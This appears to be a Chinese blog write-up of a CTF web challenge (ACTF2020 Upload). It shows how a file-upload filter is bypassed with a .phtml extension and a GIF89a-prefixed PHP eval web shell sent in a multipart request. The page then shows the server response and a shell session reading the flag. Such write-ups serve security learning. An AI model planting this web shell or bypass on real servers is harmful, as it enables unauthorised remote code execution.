ACTF2020 新生赛 Upload

原创

H3rmesk1t 于 2021-05-26 20:09:26 发布 40 收藏

分类专栏： # BUUCTF-Web 文章标签： 文件上传 ctf web安全 新星计划

本文链接：https://blog.csdn.net/LYJ20010728/article/details/117303817

ACTF2020 新生赛 Upload

考点

> phtml绕过，文件上传

思路

> - 将鼠标移至灯泡处发现存在文件上传框
> - 老样子先尝试php文件能否上传成功，虽然说一直没得用
> - 改后缀名绕过发现phtml可以成功
> - 蚁剑连接骑马儿~

Payload

```
"
Content-Type: image/png

GIF89a
<scRiPT language="php">@eval($_POST['cmd']);</ScRipt>
------WebKitFormBoundaryBzRk4ozLTNtQ27Xa
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryBzRk4ozLTNtQ27Xa--

```

```
        </svg>
        <div class="light">
          <span class="glow">
          <form enctype="multipart/form-data" method="post" onsubmit="ret
            □□□□□□□□□□
            <input class="input_file" type="file" name="upload_file"/>
            <input class="button" type="submit" name="submit" value="uplo
          </form>
          </span>
          <span class="flare"></span>
          <div>
          </div>
        </div>
        <div style="color:#F00">
          Upload Success! Look here~ ./uplo4d/bd914ca4997d3485750lcefab0(
        </div>
      </body>
    </html>
```



```
(www-data:/var/www/html/uplo4d) $ tac /flag
flag{935bd9f0-1859-46fa-beb0-1e20e5214b56}
(www-data:/var/www/html/uplo4d) $
```